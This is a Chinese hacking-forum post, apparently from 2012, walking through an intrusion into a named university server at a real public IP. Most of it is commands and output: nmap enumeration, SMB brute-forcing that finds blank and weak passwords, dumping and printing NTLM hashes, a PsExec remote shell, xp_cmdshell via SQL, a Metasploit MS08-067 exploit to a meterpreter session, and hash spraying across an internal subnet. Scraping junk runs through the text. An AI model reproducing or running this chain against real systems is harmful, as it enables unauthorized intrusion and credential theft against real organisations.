中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]

---

作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/

! E1 b2 \+ h* a; Yroot@bt:~# nmap -sS -sV 202.103.242.241
- P' z2 `6 B, x
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
' R: o& S0 a1 c( L0 M
# _0 k2 b. u; l1 x# I' QNmap scan report for bogon (202.103.242.241)

* P( s8 e% L8 f& PHost is up (0.00048s latency).
. w5 H6 h: g' Y. w/ A+ Y, O
& `- \' s( p  r. jNot shown: 993 closed ports
, Q- }6 |2 W1 b; v1 j  {
: E- L. e" w0 }: t$ cPORT     STATE SERVICE       VERSION
% o' n0 i& k% I6 n
7 a! v4 Z, Q6 x- t135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
% z9 b6 ]; v; C7 n1 a
$ P. Q  S( ^1 O4 A1 @% v139/tcp  open  netbios-ssn

! X! s6 p" e. y  \; H1 t445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
' \! h; B, y4 {2 ^1 m* `5 B4 ?: ?: {- h
1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

# q' p' O  b2 [$ B' B1026/tcp open  msrpc         Microsoft Windows RPC
; `. V9 y! a. H* `
3372/tcp open  msdtc?
" n6 z4 t/ s& N9 V4 }" t
3389/tcp open  ms-term-serv?

+ ~2 a( c# I, u1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
& [  V# i6 s  E: V: P' ]& G& ~9 J! `$ USF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r

SFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
4 s2 |  F/ _( X9 t1 X+ V. [' B
: q; R6 w! Z3 ?SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
* C# D: h8 I; J+ R+ \
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
- n6 ~" ?0 J- f1 [. l! o
7 }6 @# L* L7 q4 ySF:ptions,6,”hO\n\x000Z”);
7 x& t3 X  P3 v
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
* ?* {8 f4 e4 M1 K& B
' }1 }9 b0 C% X; J$ d' l" H/ AService Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
: b$ g6 |4 W% T
. Q' V/ C: o/ O1 |root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本

-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
* {' m/ r# \; Q
( [1 c- `4 R4 P- K-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse

-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse

7 |# B( l  `. i$ l-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse

-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse

-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
, z7 v8 w9 k" l# H3 z
-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse
2 K: a9 |. C7 c* e! r
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
1 a5 t; {) F* e' m4 i
) L' U* U) c9 g" D8 K' ^-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse

-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse

1 J/ x0 b! A9 Q# W-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse

4 k7 j9 ~8 G) G5 Q- Y  H0 h  }-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse

-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse
; ^$ I4 L" `6 d0 f0 h9 w2 n8 V$ g
* C  z3 p, V4 B-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
# ]) o3 o+ {# l9 g
-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse

0 }" x+ a* Q, |root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   
, z6 q" l) R% `8 H
8 G0 X- l% [% ]) p. f, W/ i//此乃使用脚本扫描远程机器所存在的账户名
* `5 |( f9 n  K7 X: K. x; b6 T
# z$ B- d/ U5 U* m7 @Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
+ t- y; G! Z/ ~3 ]1 G( q
$ w4 _1 r# m. b" X+ C( e+ W/ wNmap scan report for bogon (202.103.242.241)

7 P' h8 G0 i1 }: gHost is up (0.00038s latency).
( ^4 `4 }- F& U6 _; M: ~
( v/ \( l' i7 o6 D, q. M# {Not shown: 993 closed ports
" ]+ K, i' U, ~  X* R& U$ H
PORT     STATE SERVICE

135/tcp  open  msrpc

1 m' Z+ n3 a  p. Y139/tcp  open  netbios-ssn
, g3 }% Y0 @  s0 @  U
$ i/ C9 s7 a, C5 U8 R) B) h4 m445/tcp  open  microsoft-ds

( q/ D: u! j. `; f* w1025/tcp open  NFS-or-IIS
6 P, W2 K" e1 V
0 Z+ J" s% a' e! P. D1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc

0 y+ c* _3 X4 ^* i3389/tcp open  ms-term-serv
: l2 Q% t& r( r8 z. G7 x
  L. m( s/ G& K8 y& q0 L4 YMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
) j9 O4 X3 {' v( X
' J& T8 p& J4 K( Y| smb-enum-users:
! y  h7 K3 M7 ]+ Q
% j/ d6 V( @, q" N9 J' h|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
7 [* U/ Y) i. G8 X4 N' @* V
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
: f4 @7 P# l& E; e" H" X; y
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
" y6 G4 G  M; }& S  H
//查看共享
6 @( ]$ j$ `# c
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
0 s' |+ ^* W0 S3 @3 N
5 v4 B7 i" u0 O. X. @& W0 ZNmap scan report for bogon (202.103.242.241)

+ P9 L; @7 Q1 Y6 W" nHost is up (0.00035s latency).
6 Y+ y8 O/ R+ X2 \% q" T& O
Not shown: 993 closed ports
9 W+ D' q9 c& e0 Y$ r
$ J- U: @* q0 ^) v; IPORT     STATE SERVICE
7 L( K$ b' r: v% ]& P0 A( l. M/ i
135/tcp  open  msrpc
/ O5 I( Z& [# N, G8 x7 I+ M2 K2 u3 q
, Q% K$ N4 ?+ y# ?139/tcp  open  netbios-ssn
2 Z" w3 r9 R2 S$ j$ I
445/tcp  open  microsoft-ds
# x1 e" J! y! @& w6 [( n' V% i+ S7 r
) A& Y- S, q0 |1025/tcp open  NFS-or-IIS
8 ]1 ?' w" |  A
! ~7 V, W( ~  y' u; s! Y1026/tcp open  LSA-or-nterm

3372/tcp open  msdtc

) ^' v7 H$ j/ W+ o' Y4 ~3389/tcp open  ms-term-serv
3 r6 U9 D9 ^9 \- K% n7 @
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

6 D. X3 @" |  JHost script results:
! {+ z0 s' _  a; ]9 o* u+ D
/ k) o* j. Q9 r/ p| smb-enum-shares:

! a0 x2 V7 H6 z, F: P- l' H) U|   ADMIN$

4 Q! C/ F# U6 u6 `% b|     Anonymous access: <none>

|   C$
! L2 l5 d% o. i. [! |; c: U! T
6 }" j: g' a$ R3 N; b$ j|     Anonymous access: <none>

|   IPC$

3 [& s. b3 [: n4 M# R/ H|_    Anonymous access: READ

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
* ~3 v" Q6 h8 i1 W& o
/ A& J) v0 O0 \8 hroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      
! a% e* X' g' a; L6 Y. e
2 L5 ?; }, T- [1 m. D1 l//获取用户密码

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST

! D: m+ x+ r: R* FNmap scan report for bogon (202.103.242.2418)

! p: |9 o6 u8 h+ G  J/ L! ^Host is up (0.00041s latency).
* r4 r, v3 l# [' D0 j
Not shown: 993 closed ports

9 P8 z. w  n7 v: R* W% qPORT     STATE SERVICE

" H$ n6 `* L. n! M' Z. x+ c7 m135/tcp  open  msrpc

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

1 o# r* V- i$ j) ~6 L. V" G, f3 U1025/tcp open  NFS-or-IIS

' S' T! p* f% j4 C& z! c1026/tcp open  LSA-or-nterm
+ ^( j* w( B% d( ]' j
3372/tcp open  msdtc
3 m- F0 z# _" f3 I1 t+ }, f
3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
! k4 {/ ?% v6 x/ a" w
' A3 r3 a. ^! @# KHost script results:
) _" Q# X1 B- f+ q# g# F! F
| smb-brute:

: t7 V( T9 x8 \, ladministrator:<blank> => Login was successful
5 m' B4 R1 G/ @' a1 P
|_  test:123456 => Login was successful
! k- K( l$ Q+ b" ~$ f3 [  |- i' q
) R$ y4 V% |& T$ c  j, M) x  [# i+ w$ WNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
0 U2 `! R2 u3 p( Y
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
5 M8 a7 }* S' F  U1 Q6 T
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
- |6 O- h0 s$ n/ Y- R
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse

' C; I- _! N& @8 ^6 ?  groot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
7 N9 u1 Q4 B8 i2 U
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST

Nmap scan report for bogon (202.103.242.241)
1 h0 ^7 T$ P9 {3 r. X6 m+ q
  T" R  `7 }  u, F+ r( @2 t/ uHost is up (0.0012s latency).
; U. {% A' _' a6 [# n5 x
PORT    STATE SERVICE

% S2 W. U* B" L/ o9 G) ~* |135/tcp open  msrpc
. n8 y8 v! v& n" P/ o) J: [
- T- E3 _! |* K4 a9 N& m0 n) s% u139/tcp open  netbios-ssn

445/tcp open  microsoft-ds

" I9 H0 b! u% }" HMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
" B# z0 V& \) a, J" e- x6 E; M9 Q
- ?& j" f# m( dHost script results:
% B. A" x  O" v/ T
| smb-pwdump:
. ]7 z1 _" D  t& i; p
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************

4 @3 ^' `# `7 p' W# H' g( F" A6 t| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
1 e# g) L, Q" K& A; k
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
, B' M4 }! ]) p, }, @6 T# V  V$ t% f
& ^8 A; Q' c# x1 c4 A7 T. y|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2

5 P* i# X$ ^9 B& g' j: @Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
! T: a0 N" {8 {5 V" H! R9 k( \! h
: H) o# b; \( O$ t- x' y- qC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell

-p 123456 -e cmd.exe
" K0 C4 l$ v5 g! v- V2 f% z
PsExec v1.55 – Execute processes remotely
; ?3 V! i2 {5 h( E" s) r
, l4 J0 L3 g; [" Z# jCopyright (C) 2001-2004 Mark Russinovich

2 ~* x, l- ?. G* H+ PSysinternals – www.sysinternals.com
# j$ s( P4 M! F( v
Microsoft Windows 2000 [Version 5.00.2195]
# ^# P2 X# ~( G8 k% K" @
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
( i, {7 Q8 ~8 c' j* c; a
Windows 2000 IP Configuration

Ethernet adapter 本地连接:
3 x7 k6 A: S1 C* O% L" D; X
Connection-specific DNS Suffix  . :
7 }: L( \. K2 V; H( u1 l# u$ n
IP Address. . . . . . . . . . . . : 202.103.242.241
" r6 P# E3 E: j* v. x
* i# `6 N4 x& L1 Z% W6 m, QSubnet Mask . . . . . . . . . . . : 255.255.255.0
7 s( D. K7 y) I
' X5 P* b: o$ v% vDefault Gateway . . . . . . . . . : 202.103.1.1
; h4 }' v& Y: c1 Z6 P. c) T6 c
+ e4 d1 c( d& t1 OC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
1 ^3 _* \* o, b1 m, s
! ?) o+ V& p5 Q3 V# qStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST

Nmap scan report for bogon (202.103.242.241)

$ N5 d9 c. Z9 y% A  u4 e% ?  fHost is up (0.00046s latency).
) H3 O. v- F, X5 |. c
1 P$ d) `# v5 j& aNot shown: 993 closed ports
# C8 O3 h/ M7 R6 y" Z9 c
PORT     STATE SERVICE

5 U/ Q- i. l& s0 p6 ^% H! ^135/tcp  open  msrpc

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds
9 i( \9 j$ A3 D  M+ R9 B
1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm
) g2 j6 G) g, l' s3 d& y6 O* b8 d& `
: D6 ]- ]8 [5 x" H6 f* e" L3372/tcp open  msdtc

3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
5 ]6 Y: e2 @/ |2 ?/ `
" B( a* M# H7 b6 A# e* N0 w5 DHost script results:
6 D3 {+ Y5 [' j/ t8 j; R8 P+ a
# R  v7 @$ {8 a! j% ]* ?| smb-check-vulns:
3 D) W* M: B1 g' y1 s' u  c4 h
: x! w* ]  C; M+ B( g4 Q5 y|_  MS08-067: VULNERABLE
  ~! s+ k6 X% w1 ^# h& B1 a3 j
* w% K$ n1 v* ^6 X+ |( cNmap done: 1 IP address (1 host up) scanned in 1.43 seconds

" s0 z9 c" P/ V9 F  }0 Droot@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出

$ w  F( `8 v9 V% R- ]  ?- w9 }msf > search ms08
  ?! i3 `3 e$ p6 _8 p8 W) v' q. }
& _& _1 t$ f) I* J. Y; w2 lmsf > use exploit/windows/smb/ms08_067_netapi
* p7 D- s( w" g/ X2 |) E9 @
1 f' P8 o# M# F/ zmsf  exploit(ms08_067_netapi) > show options

/ i  P$ h& N: Z+ x- t( b8 ~+ pmsf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241
% ?! ~5 o( f) Q# h, x8 l% @, C
msf  exploit(ms08_067_netapi) > show payloads

( d+ H. G- m5 c5 E0 }: p* lmsf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp

  T+ Y  J; B; D6 y; x) r! fmsf  exploit(ms08_067_netapi) > exploit

, F7 H1 w* [9 ^  d; Xmeterpreter >

Background session 2? [y/N]  (ctrl+z)
1 \7 D3 e8 N- {) _
! h- s2 g. S+ h1 Y" O: Zmsf  exploit(ms08_067_netapi) > sessions -l
0 l' G+ U* U2 g- f
8 }6 Q- g) _1 b" ^$ {0 wroot@bt:/usr/local/share/nmap/scripts# vim usernames.txt

. R" m; @2 }* t, ntest

administrator
' e. \) N0 N% v
. [9 r' j+ J4 I. U2 `  Q9 Droot@bt:/usr/local/share/nmap/scripts# vim password.txt

44EFCE164AB921CAAAD3B435B51404EE
$ V3 N: F8 s; `
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254

& W+ Y6 c; k( _ //利用用户名跟获取的hash尝试对整段内网进行登录
* h2 ^9 u6 i# n9 y! U' L1 f
4 Q3 \: m# R$ x* x$ nNmap scan report for 192.168.1.105

% g0 y; k$ g- D5 E& ?3 mHost is up (0.00088s latency).

Not shown: 993 closed ports
4 ^/ J& m7 D4 q0 v% Y
6 ?! t$ x3 s$ ]; nPORT     STATE SERVICE

7 f" H* C; u0 b- [) T) H/ o135/tcp  open  msrpc
+ L4 f' u2 N+ y4 `+ ]
139/tcp  open  netbios-ssn
0 s& E' t9 \* M, t6 X: B& b, F/ E
445/tcp  open  microsoft-ds

% g7 h$ y, q/ d; z# [1025/tcp open  NFS-or-IIS

$ X6 C& |' ^5 w' X8 d: z/ M1026/tcp open  LSA-or-nterm
5 u0 r! N* s, r- `0 f0 D1 R
3372/tcp open  msdtc

3389/tcp open  ms-term-serv
' ^! R1 N9 H- [( ?7 e* w5 d
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
' q: y& ?; [; f
Host script results:

3 z! P1 t- ?% S$ \# J| smb-brute:

|_  administrator:<blank> => Login was successful

攻击成功，一个简单的msf+nmap攻击~~·

& b& l8 A& @: j8 m

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2